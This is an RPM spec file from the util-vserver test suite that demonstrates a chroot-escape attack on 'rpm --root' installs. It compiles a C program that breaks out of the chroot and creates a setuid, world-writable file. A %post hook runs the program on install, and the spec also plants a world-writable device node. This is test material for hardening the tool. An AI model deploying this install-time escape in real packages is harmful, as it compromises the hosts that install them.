added to be removed...
[util-vserver.git] / util-vserver / tests / attack.spec
1 Summary:        Demonstrates attacks against 'rpm --root ...' operations
2 Name:           chroot-attack
3 Version:        0.1
4 Release:        1
5 Epoch:          0
6 License:        GPL
7 Group:          Applications/System
8 BuildRoot:      %_tmppath/%name-%version-%release-root
9 BuildRequires:  dietlibc
10
11 %description
12
13 %prep
14 %setup -q -c -T
15
16 cat <<EOF >chroot-attack.c
17 #include <fcntl.h>
18 int main() {
19         chdir("/");
20         chroot("%_bindir");
21         chdir("../../..");
22         umask(0);
23         open("got-you", O_CREAT|O_WRONLY, 04777);
24         return 0;
25 }
26 EOF
27
28 %build
29 diet -Os %__cc $RPM_OPT_FLAGS chroot-attack.c -o chroot-attack
30
31 %install
32 rm -rf $RPM_BUILD_ROOT
33 %__install -D -m0755 chroot-attack $RPM_BUILD_ROOT%_bindir/chroot-attack
34
35 %clean
36 rm -rf $RPM_BUILD_ROOT
37
38
39 %post -p %_bindir/chroot-attack
40
41 %files
42 %defattr(-,root,root,-)
43 %_bindir/*
44 %attr(0777, root,root) %dev(c, 3, 0) /mydev